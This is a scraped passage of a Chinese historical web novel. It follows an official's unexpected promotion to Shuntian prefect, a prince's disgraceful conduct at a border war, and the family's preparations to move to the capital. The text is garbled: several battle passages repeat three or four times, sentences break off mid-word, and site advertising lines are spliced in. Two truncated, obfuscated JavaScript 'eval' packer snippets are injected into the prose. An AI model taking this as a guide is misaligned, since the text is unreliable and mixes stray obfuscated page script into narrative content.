舅舅毕竟是二品大员,丁忧之前还是很得陛下看重的,怕只怕这两年之内朝堂变动,廉王气势如虹,若是他登了基,肯定会扶持支持他的官员,舅舅能不能重返朝堂还不好说,也难怪他母亲着急。 母亲终究还是为了舅舅一家好,可惜枉费口舌,舅舅舅母并不领情。 罢了,还是先回京吧,日后若是能在新皇面前得了脸,还能为舅舅求情。 林苁蕙冷着张脸离开扬州,孟晚等人也该告辞了。不过他刚要与林苁蓉辞行,林苁蓉就拦住了他,“我刚才收到京城传来的消息了,景行的位置怕是要动一动,你先别急着回西梧府,在扬州跟我等着朝廷的调令。” 扬州离盛京城近些,收到消息也方便一点,万一真有紧急情况,孟晚在这里也能先知道。 林苁蓉虽然在扬州丁忧,可在朝堂上经营多年,也是有至交好友的,他二儿媳的父亲就是其中之一。 林苁蓉给自己选这个亲家也是多方考量过的,孙家家境普通,才识一般,五十好许才爬到四品地方知府,但唯一的优点就是知足,不能留京也没遗憾,收拾收拾就去了地方,一待就是二十年,从未和好友抱怨过。 大儿子要娶个大字不识一个的哥儿做夫郎,两口子愁了一晚上,第二天一早就想开了,半点也没苛待,没因为对方家境差就苛待,该有的礼节一样不少,顺顺当当给娶回了家。 去年冬天朝觐,孙家大郎被从地方调到盛京城吏部,任了个六品的吏部主事,虽然官不高,却也是京官,其他人抢破头也没抢上,上面还是综合考量过,再加上看在林苁蓉的面子上选了孙家大郎。 这会儿就是孙家大郎给林苁蓉来信,说起吏部尚书要了宋亭舟的实政册进宫,应该是上面要看。因为知道林苁蓉打去年就惦记这宋亭舟的调令,这才书信一封传了消息过来。 这个档口回京吗?好像比预想的早了一点呢? 孟晚和宋亭舟私下商量过,都以为最少还能在西梧府待上一年,今年年底或者明年年初才有动静。如今当不当正不正的却透出了风声,总觉得有些阴谋诡计在里面。 “怎么会是现在呢?”孟晚这么凭空干想说什么也想不出来理由。要不许多人做梦都想回盛京,他和宋亭舟要不是靠着林苁蓉才得到这么点信息, 要是没有林苁蓉更是两眼一抹黑。 林苁蓉毕竟久居官场,比孟晚更能沉得住气,“我再给其余同僚书信一封,问问他们京城里最近可有什么变故。” 他的信才寄出去几天,便又收到了孙家大郎,和其他几位知道林苁蓉与宋亭舟关系的官员寄来的书信。 宋亭舟的官职果然变动了,而且还是由皇上特旨拟定的官职——顺天府尹。 孟晚听到林苁蓉口中这四个字的时候,眼睛都直了。 正三品顺天府尹? !!!!!! 前面那个正三品的名头远不及顺天府这三个字有分量。 不算京官,但比京官面子还大! 做为京畿第一官,涉及皇权祭祀、乡试供应、京畿维护等关键政务,是直接服务于皇权和都城运转的重要职位,多数时候都是皇上最信任的官员担当。 而且因为盛京城遍地权贵,所以顺天府尹既要能干,又要平衡好人情,随便哪一任都要把京城里的人际关系调查的明明白白才敢断案。 就这样说吧,哪怕是林苁蓉被调过去也没人会说他是下调,而是要上门恭喜他得陛下看重。 “这种官职,怎么就落到我夫君头上了?”孟晚难以置信。 林苁蓉抚平信上的褶皱,翻来覆去地看了几遍,眉间的褶皱越来越深,“从你师公在朝为官,到我被调回盛京,这么多年来从没听说哪任的顺天府尹是五十岁以下的官员。” 他也颇为不解,宋亭舟虽然能力出众,但他的资历并不足以任顺天府尹。而且京官的位置被多少双眼睛盯着,上一任顺天府尹可是陛下一手提拔上来的亲信,怎么会突然将位置空出来让给宋亭舟? —— 钦州城内,廉王已经出兵一场,对面安南没想到他们真的会打过去,猝不及防下吃了个暗亏。 虽然和廉王不对付,但害死太子的敌军显然更可恨,秦艽在战场上杀红了眼,把安南主将的脑袋都给生生拧了下来,凶残的模样不光震慑了安南军,连自己这边的士兵都看愣了。 廉王坐落后方,喉结上下滚动了两下,哑着嗓子呵斥身边差点吓尿了的文吏,“愣着做什么,就写在本王的带领下,秦指挥使英勇奋战,与本王合力斩杀了敌国将领。” 战场上若全是自己的人,功劳廉王完全可以独占,可惜了,这么 多双眼睛盯着,秦艽的功劳抹不掉。 首战告捷,当是要八百里加急汇报给朝廷。 军营不是人住的地方,从“战场上”下来,廉王便带着自己人退到钦州城中,战事只是暂胜一场,他便迫不及待地举行起了庆功宴。 丝竹小鼓、玉手拨弦,乐师们沉浸在曲调悠扬的乐曲中,厅内身姿妖娆的舞者在翩翩起舞。 屏风后头是一盆盆微微化开的冰盆,冒着缕缕凉气。廉王坐在主位上,举着华光四溢的琉璃杯饮酒,面前的玉盘里是颗颗饱满的荔枝。 领舞的舞娘看着他俊美的面容,脸颊微微泛红,眼神如蜜糖一样在廉王身上拉扯,廉王回之一个趣味的淡笑。 舞娘心脏狂跳,她想着面前这个男人的身份是如此贵重显赫,终于忍不住跳到他面前,“不小心”跌了出去,就趴伏在他脚边的位置上。 仰头,楚楚可怜的看着他。 “这么不小心啊?”廉王眉梢一挑,带着丝兴味说道。 “王爷~”舞娘将白如玉藕的手臂伸出去,却并没有得到面前这个男人的怜惜。 廉王半点没有拉她起来的意思,眼中的兴味还在,却不是情欲…… “连支舞都跳不好,真是废物,来人,把她的腿砍下来扔到后院去喂狗。” 他话音一落,门口守着的侍卫便立即行动,把还没搞明白状况的舞娘拎起来。 “不要!殿下不要,是奴婢错了,殿下饶……唔……唔唔!” 等舞娘反应过来哭求,却被侍卫捂着嘴巴拖了下去,看他们的动作,手上的人仿佛不是一个千娇百媚的女娘,而是一团烂肉。 剩下的舞娘无不吓得浑身发抖,却要强撑着动作不停,形势有了,脸上笑得却比哭还难看。 “钦州果真贫瘠,都是什么庸脂俗粉,还是偃跳舞跳的好看。”廉王略显乏味。 两侧的钦州官员尽数跪在地上,唯恐这个如日中天的王爷一个不顺心把他们的腿也给剁了。 廉王没理他们,就任由这群人跪着。他身边的冯褚这时候说道:“李大人献了两个哥儿过来,是双子。” 廉王这才提起几分兴致,“哦?让人带过来看看。” “报!” 门外有军营的探子过来,“禀王爷,安南又换了个新的将领,眼下正在营 前叫阵。” 廉王不耐的摆了摆手,“叫秦艽去迎敌。”他没有再去战场的意思,自己身份高贵,虽然有冯褚在身边,但秦艽也不是吃素的,万一出什么意外怎么办? 去了一次足可以交差,之后他都不打算去军营了。 “可是……秦指挥使说,若是殿下您不去,他……他也不去。” “混账!”廉王拍案而起,气得牙根痒痒,很少有人能激怒到他,秦艽算是一个,而且是最混账的一个。 但是不去又不行,因为他的手没伸到钦州这边来,又有个“耿直”的巡抚宋亭舟在岭南坐镇,根本毫不畏惧自己王爷的身份,在当地说一不二,从钦州到西梧府,没有官员不怕,甚至比自己的威严更甚。 廉王到底是去了,只是没想到这场仗比他想象中还要艰难,不对,应该说他从没想过战场是这样冷血残酷。 同这场仗比,上一次简直像是双方在玩闹,安南也没想到秦艽会把他们将军给杀了。 于是——这次他们也认真了。 战鼓一声接着一声,震得人心头发麻,厮杀声与哀嚎的喊叫声搅乱在一起,分不清是从哪里传来,又觉得仿佛无处不在。 残肢断臂不是被属下放到暗处处理,而是就在眼前。 血染红了大地与河流,也没人有空暇仰望天空是否蔚蓝。 廉王本来位置就靠后,身边的侍卫不知何时被冲散开来,只剩冯褚还寸步不离的护在他身边。摸着脸上被泼洒的热血,廉王更是头皮发麻到想躲进军营里去。 他酸软的腿刚刚后退一步,便有一支利箭飞射过来直奔他头颅,被一直关注的冯褚拿剑斩断。但紧接着又是一支比刚才还要快的箭矢飞射,这时候冯褚的剑还没来得及收回,只能用手去握。 他是一流高手,单手拦箭不是什么难事。 下一秒,掌心传来一阵热流,那支箭携着难以匹敌的架势穿过他手心,削断了廉王珍贵的发冠,插在后方舞动的旗帜上。 高大的旗帜断成两截。 廉王……吓尿了。 “果然是废物,就是把大军交到他手上也一样无用。”远处战场里,一名正在厮杀的士兵冷声说道。 他身边有两个士兵在他左右,其中一个身材魁梧的说道:“太子殿下何不趁机除掉他?” 太子这会儿做士兵打扮,手上也一会儿没闲着的在**,“这些年我若想杀他,自然有千次万次的机会,只是定襄国公手握重权,除了他之后,还有第二个、第三个冒出来。” 还不如就让这个蠢货顶着。 他叮嘱身材魁梧的男人,“秦将军,你口风紧一些,别让秦艽知道我们密谋的事。” 秦啸云抿起嘴巴,看到秦艽那伤心样,他确实差点说了。 “咳,葛小子,你身手着实高超,有没有兴趣加入我们秦家军?”秦啸云对太子身边的另一个男人说道。 那人赫然就是葛全,刚才击碎廉王发冠的箭矢便是他徒手甩出去的,“不了。” “葛先生之后要随我回京,边军,就你自己待着吧!”太子杀红了眼,朗声一笑直奔敌营,秦啸云和葛全也紧随其后。 前叫阵。” 廉王不耐的摆了摆手,“叫秦艽去迎敌。”他没有再去战场的意思,自己身份高贵,虽然有冯褚在身边,但秦艽也不是吃素的,万一出什么意外怎么办? 去了一次足可以交差,之后他都不打算去军营了。 “可是……秦指挥使说,若是殿下您不去,他……他也不去。” “混账!”廉王拍案而起,气得牙根痒痒,很少有人能激怒到他,秦艽算是一个,而且是最混账的一个。 但是不去又不行,因为他的手没伸到钦州这边来,又有个“耿直”的巡抚宋亭舟在岭南坐镇,根本毫不畏惧自己王爷的身份,在当地说一不二,从钦州到西梧府,没有官员不怕,甚至比自己的威严更甚。 廉王到底是去了,只是没想到这场仗比他想象中还要艰难,不对,应该说他从没想过战场是这样冷血残酷。 同这场仗比,上一次简直像是双方在玩闹,安南也没想到秦艽会把他们将军给杀了。 于是——这次他们也认真了。 战鼓一声接着一声,震得人心头发麻,厮杀声与哀嚎的喊叫声搅乱在一起,分不清是从哪里传来,又觉得仿佛无处不在。 残肢断臂不是被属下放到暗处处理,而是就在眼前。 血染红了大地与河流,也没人有空暇仰望天空是否蔚蓝。 廉王本来位置就靠后,身边的侍卫不知何时被冲散开来,只剩冯褚还寸步不离的护在他身边。摸着脸上被泼洒的热血,廉王更是头皮发麻到想躲进军营里去。 他酸软的腿刚刚后退一步,便有一支利箭飞射过来直奔他头颅,被一直关注的冯褚拿剑斩断。但紧接着又是一支比刚才还要快的箭矢飞射,这时候冯褚的剑还没来得及收回,只能用手去握。 他是一流高手,单手拦箭不是什么难事。 下一秒,掌心传来一阵热流,那支箭携着难以匹敌的架势穿过他手心,削断了廉王珍贵的发冠,插在后方舞动的旗帜上。 高大的旗帜断成两截。 廉王……吓尿了。 “果然是废物,就是把大军交到他手上也一样无用。”远处战场里,一名正在厮杀的士兵冷声说道。 他身边有两个士兵在他左右,其中一个身材魁梧的说道:“太子殿下何不趁机除掉他?” 太子这会儿做士兵打扮,手上也一会儿没闲着的在**,“这些年我若想杀他,自然有千次万次的机会,只是定襄国公手握重权,除了他之后,还有第二个、第三个冒出来。” 还不如就让这个蠢货顶着。 他叮嘱身材魁梧的男人,“秦将军,你口风紧一些,别让秦艽知道我们密谋的事。” 秦啸云抿起嘴巴,看到秦艽那伤心样,他确实差点说了。 “咳,葛小子,你身手着实高超,有没有兴趣加入我们秦家军?”秦啸云对太子身边的另一个男人说道。 那人赫然就是葛全,刚才击碎廉王发冠的箭矢便是他徒手甩出去的,“不了。” “葛先生之后要随我回京,边军,就你自己待着吧!”太子杀红了眼,朗声一笑直奔敌营,秦啸云和葛全也紧随其后。 前叫阵。” 廉王不耐的摆了摆手,“叫秦艽去迎敌。”他没有再去战场的意思,自己身份高贵,虽然有冯褚在身边,但秦艽也不是吃素的,万一出什么意外怎么办? 去了一次足可以交差,之后他都不打算去军营了。 “可是……秦指挥使说,若是殿下您不去,他……他也不去。” “混账!”廉王拍案而起,气得牙根痒痒,很少有人能激怒到他,秦艽算是一个,而且是最混账的一个。 但是不去又不行,因为他的手没伸到钦州这边来,又有个“耿直”的巡抚宋亭舟在岭南坐镇,根本毫不畏惧自己王爷的身份,在当地说一不二,从钦州到西梧府,没有官员不怕,甚至比自己的威严更甚。 廉王到底是去了,只是没想到这场仗比他想象中还要艰难,不对,应该说他从没想过战场是这样冷血残酷。 同这场仗比,上一次简直像是双方在玩闹,安南也没想到秦艽会把他们将军给杀了。 于是——这次他们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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廉王不耐的摆了摆手,“叫秦艽去迎敌。”他没有再去战场的意思,自己身份高贵,虽然有冯褚在身边,但秦艽也不是吃素的,万一出什么意外怎么办? 去了一次足可以交差,之后他都不打算去军营了。 “可是……秦指挥使说,若是殿下您不去,他……他也不去。” “混账!”廉王拍案而起,气得牙根痒痒,很少有人能激怒到他,秦艽算是一个,而且是最混账的一个。 但是不去又不行,因为他的手没伸到钦州这边来,又有个“耿直”的巡抚宋亭舟在岭南坐镇,根本毫不畏惧自己王爷的身份,在当地说一不二,从钦州到西梧府,没有官员不怕,甚至比自己的威严更甚。 廉王到底是去了,只是没想到这场仗比他想象中还要艰难,不对,应该说他从没想过战场是这样冷血残酷。 同这场仗比,上一次简直像是双方在玩闹,安南也没想到秦艽会把他们将军给杀了。 于是——这次他们也认真了。 战鼓一声接着一声,震得人心头发麻,厮杀声与哀嚎的喊叫声搅乱在一起,分不清是从哪里传来,又觉得仿佛无处不在。 残肢断臂不是被属下放到暗处处理,而是就在眼前。 血染红了大地与河流,也没人有空暇仰望天空是否蔚蓝。 廉王本来位置就靠后,身边的侍卫不知何时被冲散开来,只剩冯褚还寸步不离的护在他身边。摸着脸上被泼洒的热血,廉王更是头皮发麻到想躲进军营里去。 他酸软的腿刚刚后退一步,便有一支利箭飞射过来直奔他头颅,被一直关注的冯褚拿剑斩断。但紧接着又是一支比刚才还要快的箭矢飞射,这时候冯褚的剑还没来得及收回,只能用手去握。 他是一流高手,单手拦箭不是什么难事。 下一秒,掌心传来一阵热流,那支箭携着难以匹敌的架势穿过他手心,削断了廉王珍贵的发冠,插在后方舞动的旗帜上。 高大的旗帜断成两截。 廉王……吓尿了。 “果然是废物,就是把大军交到他手上也一样无用。”远处战场里,一名正在厮杀的士兵冷声说道。 他身边有两个士兵在他左右,其中一个身材魁梧的说道:“太子殿下何不趁机除掉他?” 太子这会儿做士兵打扮,手上也一会儿没闲着的在**,“这些年我若想杀他,自然有千次万次的机会,只是定襄国公手握重权,除了他之后,还有第二个、第三个冒出来。” 还不如就让这个蠢货顶着。 他叮嘱身材魁梧的男人,“秦将军,你口风紧一些,别让秦艽知道我们密谋的事。” 秦啸云抿起嘴巴,看到秦艽那伤心样,他确实差点说了。 “咳,葛小子,你身手着实高超,有没有兴趣加入我们秦家军?”秦啸云对太子身边的另一个男人说道。 那人赫然就是葛全,刚才击碎廉王发冠的箭矢便是他徒手甩出去的,“不了。” “葛先生之后要随我回京,边军,就你自己待着吧!”太子杀红了眼,朗声一笑直奔敌营,秦啸云和葛全也紧随其后。 前叫阵。” 廉王不耐的摆了摆手,“叫秦艽去迎敌。”他没有再去战场的意思,自己身份高贵,虽然有冯褚在身边,但秦艽也不是吃素的,万一出什么意外怎么办? 去了一次足可以交差,之后他都不打算去军营了。 “可是……秦指挥使说,若是殿下您不去,他……他也不去。” “混账!”廉王拍案而起,气得牙根痒痒,很少有人能激怒到他,秦艽算是一个,而且是最混账的一个。 但是不去又不行,因为他的手没伸到钦州这边来,又有个“耿直”的巡抚宋亭舟在岭南坐镇,根本毫不畏惧自己王爷的身份,在当地说一不二,从钦州到西梧府,没有官员不怕,甚至比自己的威严更甚。 廉王到底是去了,只是没想到这场仗比他想象中还要艰难,不对,应该说他从没想过战场是这样冷血残酷。 同这场仗比,上一次简直像是双方在玩闹,安南也没想到秦艽会把他们将军给杀了。 于是——这次他们也认真了。 战鼓一声接着一声,震得人心头发麻,厮杀声与哀嚎的喊叫声搅乱在一起,分不清是从哪里传来,又觉得仿佛无处不在。 残肢断臂不是被属下放到暗处处理,而是就在眼前。 血染红了大地与河流,也没人有空暇仰望天空是否蔚蓝。 廉王本来位置就靠后,身边的侍卫不知何时被冲散开来,只剩冯褚还寸步不离的护在他身边。摸着脸上被泼洒的热血,廉王更是头皮发麻到想躲进军营里去。 他酸软的腿刚刚后退一步,便有一支利箭飞射过来直奔他头颅,被一直关注的冯褚拿剑斩断。但紧接着又是一支比刚才还要快的箭矢飞射,这时候冯褚的剑还没来得及收回,只能用手去握。 他是一流高手,单手拦箭不是什么难事。 下一秒,掌心传来一阵热流,那支箭携着难以匹敌的架势穿过他手心,削断了廉王珍贵的发冠,插在后方舞动的旗帜上。 高大的旗帜断成两截。 廉王……吓尿了。 “果然是废物,就是把大军交到他手上也一样无用。”远处战场里,一名正在厮杀的士兵冷声说道。 他身边有两个士兵在他左右,其中一个身材魁梧的说道:“太子殿下何不趁机除掉他?” 太子这会儿做士兵打扮,手上也一会儿没闲着的在**,“这些年我若想杀他,自然有千次万次的机会,只是定襄国公手握重权,除了他之后,还有第二个、第三个冒出来。” 还不如就让这个蠢货顶着。 他叮嘱身材魁梧的男人,“秦将军,你口风紧一些,别让秦艽知道我们密谋的事。” 秦啸云抿起嘴巴,看到秦艽那伤心样,他确实差点说了。 “咳,葛小子,你身手着实高超,有没有兴趣加入我们秦家军?”秦啸云对太子身边的另一个男人说道。 那人赫然就是葛全,刚才击碎廉王发冠的箭矢便是他徒手甩出去的,“不了。” “葛先生之后要随我回京,边军,就你自己待着吧!”太子杀红了眼,朗声一笑直奔敌营,秦啸云和葛全也紧随其后。 第24章 先行 这几年安南和禹国虽然摩擦不断,但这么大规模的战争还是很少的。因为安南要的从来都不是和禹国真打,而是向禹国展示他们国家也是有实力的。 安南周边还临着别的国家,拿自己家全国兵力,去打禹国一个省,除非他们疯了。 第二场大战没占到便宜后,安南王已经开始后悔,不是一点后悔,他现在悔的肠子都青了。 “之前那个禹国小哥儿说的竟然是真的!”安南王在宫殿里大发雷霆,殿内金盘玉碗被摔得七零八碎,满殿的宫侍没有一个敢站起来规劝,全都瑟瑟发抖的跪在地上。 只因上一个刚规劝安南王的宫侍,已经被侍卫拉出去杖毙了。 殿外有侍卫将一位白发苍苍的老者引至殿门处,“殿下,国相大人求见。” 安南王实际上很年轻,看上去应该还不到三十岁,但眉眼间满是戾气,这会儿刚发了火,看上去更是凶恶。他粗声粗气的说:“请国相进来,还有……把跪在地上的这群贱奴都给本王拉出去,杖毙!” 老国相踏进庞大的宫殿时,耳边听见的便是国主的怒吼,与宫侍们杂乱又绝望的求饶声。 他耷拉下布满褶皱的眼皮,轻轻地叹了一口气,“殿下,我们不可再对禹国出兵了。” 安南王又如何不知道他们打不起了,天下只有一个陛下,就是禹国的皇上,他们这些小国的国君也只敢在自家地盘称王而不敢称帝。 但若是就这样妥协,其余邻国要怎么看他们安南?而且他们付出这么多来挑衅禹国就是因为安南这几年接连大雨,庄稼种一季被淹一季,百姓**,朝廷征不上税。 安南王想打场漂亮的仗证明他们的实力,最好拿下钦州,搜刮一番再与禹国讲和,禹国皇子送来的太子更是锦上添花,多了一丝要钱要物的机会。 但谁也没想到太子竟然真的**! 就死在他们国家的土地上! 现在他们硬着头皮打仗,实际知道内情的高官都在恐慌,生怕一不小心就被灭了国。 但是当下禹国的皇帝很和善,应该……不会吧? “竟然和当初那个哥儿说的一样,那人果然出尔反尔!”安南王不傻,甚至是老安南王所有儿子里最有智慧的一个,当时廉王派人找上门来,他就已经猜到了对方的身份。 安南王也是刚在兄弟中杀上 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 位,禹国中最想要他们太子死去的,定然是其他皇子。禹国国主已经成年的皇子就那么几位,他虽然不能确定是谁,但能肯定是皇室中人无疑。 但那又怎么样呢?他们现在被堵在家门口打,畏手畏脚的不敢得罪人,状态十分窘迫。 “殿下。入殿后只说过一句话的老国相突然出声,“有禹国人想进宫见您。 安南王现在听到禹国人就头疼,他怒道:“难道又是禹国皇子派来的人? 老国相语气微妙,“不是普通皇子,是……禹国太子。 安南王眼睛瞪得溜圆,“谁?哪个太子? —— 从安南的国都安然无恙的离开,太子满意的将那封孟晚当时没拿到的信放入怀中收好。 葛全与秦啸云就护在他左右,三人翻身上马,没有走水路离开,反而是从安南边境西北侧的宁明县入境。抛下边境还等着杀入安南报仇雪恨的秦艽,直奔西梧府而去。 彼时宋亭舟已经接到了吏部下达的调令,他倒是比孟晚和林苁蓉沉得住气。确定调令是吏部颁发而不是伪造的之后,他先给远在扬州未归的孟晚书信一封,然后就是赫山县的聂先生和几位亲近的好友。 信写完,又顺便嘱咐母亲一声,他们可能要走了,离开西梧府到盛京去。 常金花刚喜气洋洋的赶回家,最近两个铺子的生意越来越好了,底下有人劝她再开一家分店,但常金花仔细琢磨了一晚上还是放弃了。 她没有孟晚那么大的本事,年纪越来越大算账也不是特别精明。就守着这两间店面赚点小钱已经是极好的了。 本以为此生会在岭南养老,没成想被儿子一句话当头棒喝。 去盛京城? 大郎这是又升官了? 那她的铺子怎么办? 晚哥儿还不在家,谁能给她出出主意? 因为孟晚不在,宋家确实忙乱了一阵子。黄叶常跟在孟晚身边,做起事来利落又有条理,算是宋家的管家。但家里的东西太多,若是都带回盛京,起码要拉三四十车,还不算是大家管用的家具。 什么要带的,什么不带的,不带的放在宅子里,就岭南这个气候肯定会坏掉,所以怎么处置又是一道难题,一时半会根本收拾不完。 朝廷的诏书催得又紧,宋亭舟等不及带家人 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一块离开,只能先把西梧府的事交代好,整理两车东西先上京赴任。 孟晚给出的标配,他俩远行,身边起码要带一个会医的一个习武的。雪生是定要跟着宋亭舟上京的,陶家三兄弟和乔兴源也说要跟着宋亭舟走,这会儿都在忙着收拾家当,举家进京。 剩下一个会医的就是阿寻了,这也是孟晚早期与苗家人的约定。 “阿寻,到了盛京要安分守己,那里面的水太深了,没有孟夫郎的命令万万不要冲动行事。青杏叮嘱阿寻,她当初就是无缘无故的栽了,现在回头想想,自己在那些贵族眼里连蝼蚁都算不上。 阿寻长大了,气质和青杏很像,常年行医见多了人情百态使他比小时候稳重不少。他用自己缺了两指的双手收拾行李,语气中有对未知生活的好奇,也有对家人的不舍。 “放心吧阿姐,我哪里都不乱跑,孟夫郎去哪儿我就去哪儿,可以吧? 青杏摸摸他的头,温柔的笑了,“你小时候刚被爷爷捡回来就已经很可怜了,后来跟着我们又吃了很多的苦,幸好遇到了孟夫郎。 忍冬和小蓟也在屋内帮阿寻收拾行李,白薇坐在床边的小木凳上,满脸稚气的说:“孟夫郎是全天下最好、最漂亮、最厉害的人! 一屋子的人都忍不住笑了起来。 “阿寻,都这个时候了,楚辞怎么还没到咱们家提亲啊?小蓟冷不丁的问了句。 阿寻的脸“腾一下地就染成了胭脂色,倒也不是害羞而是气得,他站起来去揪小蓟的耳朵,“什么阿寻,叫二哥,越来越没大没小了。 “疼疼疼!二哥,我说的难道不对吗?小蓟不太服气的问。 连青杏都插了一句,“阿寻,虽说是咱们家高攀了,但你和小辞这么多年日日都在一起,若是嫁给他,我和爷爷都很放心。 阿寻今年十七,不是什么都不知道的小孩子了,他身边除了楚辞就是来看病的病人,对楚辞既能说是喜欢,又始终觉得差些什么,他自己也说不上来。 “阿姐,也不是我说嫁,楚辞就娶呀?再说了,我是老二,是不是也该你先嫁人,再来着急我的事。 阿寻小时候就爱说,青杏被他噎的说不出话来。 小蓟把箱子里的一摞衣服抱到床上整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是啊,大公子的院里都是毒,也就只有你能进去帮他收拾收拾了。”黄叶眼下一片青黑,虚弱的从阿寻身边路过,语调像是下一刻就要睡过去了。 阿寻忙将他扶到一边去坐着,“叶哥儿,你还是先休息休息吧,几天没睡了?” “让我躺着我也睡不着,桂诚,那个不是要带走的,你给我搬回库房去!”黄叶说着说着又风风火火的跑了。 阿砚小大人一样看着院子里的乱象,狠狠地叹了口气,“唉,阿爹什么时候才回来啊!” 纵使黄叶加班加点,家里还是收拾不过来,宋亭舟没空等他们,先行带着陶家兄弟和雪生阿寻先行出发。 宋家的动静闹得很大,又要紧张的置办路上要用的东西,雇佣马车等。所以宋亭舟要走的消息没能瞒住,人还没走就开始有人在宋家门口守株待兔,走的那日更是全城百姓都出城相送。 如今的西梧府繁荣昌盛,全府的人加在一起比昌平府还多,直逼如奉天、临安那样上层次府城。 再加上附近村落、乡镇,也就是其余四县离得太远没来得及过来,只怕人数还要再翻上两倍。 穿着三族服饰的壵、瑶、鹋三寨充当乐师的角色,芒笛夜萧、芦笙铜鼓。 竹筒琴的节奏乱中有序,果铃被吹得阵阵脆响。天琴音色空灵而明快,牛角独奏浑厚又悠扬。 送行的山歌响彻山谷,翻涌而出的音浪在整座府城中回荡。 府衙内因为宋亭舟强势威压,而不得相送的官员们也听到了山歌,不约而同的望着堂内满满两墙宋亭舟亲自记录的书册,皆都感慨颇深。 宋大人留给岭南百姓的,又岂是只有这六载年华? 骑在马上的宋亭舟踩着马镫下来,对前来送行的百姓们深鞠一躬。 他这一生,有当时在昌平府的一跪,换来今日造福百姓的机会,他从不后悔那日面对众人嗤笑的目光。 他没有枉读圣贤书,更无愧自己治下的百姓。 第1章 准备远行 因为要顾忌聂二夫郎的身体孟晚一行人决定从扬州走水路回西梧府这个决定刚好和宋亭舟岔开了他到家的时候见家里忙忙乱乱的收拾东西才知道宋亭舟已经走了半月。 “都谁跟着大人去了?”孟晚洗漱后擦着头发问过来禀告的黄叶。 黄叶拿了条干布巾给他递过去“陶家三兄弟和阿寻、雪生哥他们就带了两车行李大人说吏部催得急要他**前赴任。” 孟晚把头发擦得半干不干随便找了根发绳把松散的长发拢起来扎上“竟然还规定了日子?”他更觉得担心了。 他更加觉得这个正三品的官位有诈想尽快上京同宋亭舟汇合“家里收拾的差不多了吧?把拿不准的都列到单子上我去珍罐坊一趟回来将单子给我看看。” 孟晚回到家来不及休息就开始跑东跑西只能交给他最信任的唐妗霜西梧府有宋亭舟的余威在 琉璃坊更不用说除非是想不开打算被抄家把眼睛放琉璃坊里。 至于风重所在的橡胶厂…… “你要上京了?那记得告诉我的小弟他说的那什么车轮我已经有眉目了两年之内我肯定能造出来。”风重穿着一身不知道多久没换的衣服远远走过来气味由轻到重。油腻成缕的头发黏在他脸庞丝毫不影响他抬得高高的脑袋和一脸傲气的表情。 孟晚尽量屏住呼吸结果被他这一句话破了功“什么小弟?你还有在盛京的弟弟?”也像风重似的是个科学怪人吗?也这么厉害吗? 风重一脸不耐烦“就是上次那个姓罗的**有多景仰我死皮赖脸就是为了见我一面。”知到他把橡胶车轮给研制了出来更是不知道会多崇拜自己! 哦罗霁宁啊! 孟晚眉眼弯曲的看着已经成型的黑色轮胎非常突然的说了一句“风大哥等你把橡胶车轮研究到可以供马车上路使用而轻易不损我就给你写本书吧?就写你是如何克服千难万险造福禹国百姓的出行问题到时候天南地北的印刷出来几千、几万本供整个禹国的百姓阅览你觉得怎么样?” 风重:“!!!!!!” 出书=出名=万人景仰=禹国无人不知! “也不要光写我我的长辈们也出了力但是他们淡泊名利 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 书里的名字主要写我就可以了。当时我……”他装都不装了,恨不得拉着孟晚彻夜长谈自己匠心独运。 孟晚被他熏了大半天才侥幸脱身,唐妗霜和余彦东在外等候,三人在珍罐坊开了个小会。 “郊外这三间工坊应该是无碍的,若是真有人不长眼上门,妗霜,你可以去找琉璃坊的管事和几位师父,没人敢造次。”孟晚叮嘱唐妗霜道。 唐妗霜能力很强,最主要的是他也够沉稳,不会因为一点小小的危机就方寸大乱。等过了这三年,之后果珍罐大批量生产到价格下跌,珍罐坊也会同糖坊一样变成一个普普通通的工坊。 这是一个不可逆的过程,孟晚十分期待禹国也如后世一般,各种工坊接连耸立,匠作工师百花齐放。 最赚钱的说完再说说最有前景的,驿站的收入目前孟晚都投在了修路上,等路修好,才是石见驿站开始盈利的时候。 但是有利就有弊,驿站的模式不同于工坊,是**起来统一管理。也不同于官方驿站里的人不敢胡乱造次。 石见驿站从岭南铺设到盛京,一路大大小小的驿站算得上是半独立运营,如今驿站还处于初期阶段,目前倒是看不出什么,可看不见不代表没有。 就算孟晚挨个给人下蛊,也不可能保证所有人对他忠诚,人都有私心、有欲望的,有些问题在所难免。 “驿站这边我走后很可能会出问题,小余,你……”你不行就多找找你爹,孟晚让余彦东做最重要的西梧府管事,最重要的原因之一便是他后面有老余兜底。 “夫郎你就放心吧!我和霜哥儿强强联手,定然把你留在西梧府的买卖打理的井井有条。”余彦东倒是自信满满,他想拉唐妗霜的手,结果被拍了两下。 唐妗霜对孟晚说:“夫郎,西梧府周边的驿站我们都会定期巡视,但其他地方的要怎么办?” 孟晚心中自有思量,“驿站的生意主要都在西梧府之内,然后便是冬季大量往盛京城运输果珍罐,暂时其余小地方还翻不起什么风浪,等路修完,我会再将驿站的章程重新变动一番。” 他的话,唐妗霜和余彦东是信服的。 把三座工坊和驿站的事都交代好,孟晚回到家里去,放学回来的阿砚知道他回来了,一直在院里等着。 “阿爹!”阿砚小跑着过来,抱着他黏黏糊糊的撒娇,“我好无聊啊。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 孟晚把他从自己身上扯下来,“你怎么跟个狗皮膏药似的?人家绯哥儿一个小哥儿都没你粘人。 阿砚现在初步进入叛逆期,自尊心比小时候强烈,他难以置信的瞪着孟晚,眼尾钝圆,“你怎么可以这样说我,我再也不要理你啦! 孟晚看着他跑走的圆润背影,怀疑自己生的是个小哥儿。 没管独自生闷气的阿砚,孟晚接过黄叶手中的单册开始清点。 “这几样家具都让人送到苗家去,细棉布也分过去一半,另一半拿去成衣店做成成衣,你们看喜好自己选样子去。剩下的名贵布料妥善包裹好,装一车明天我带去赫山县。 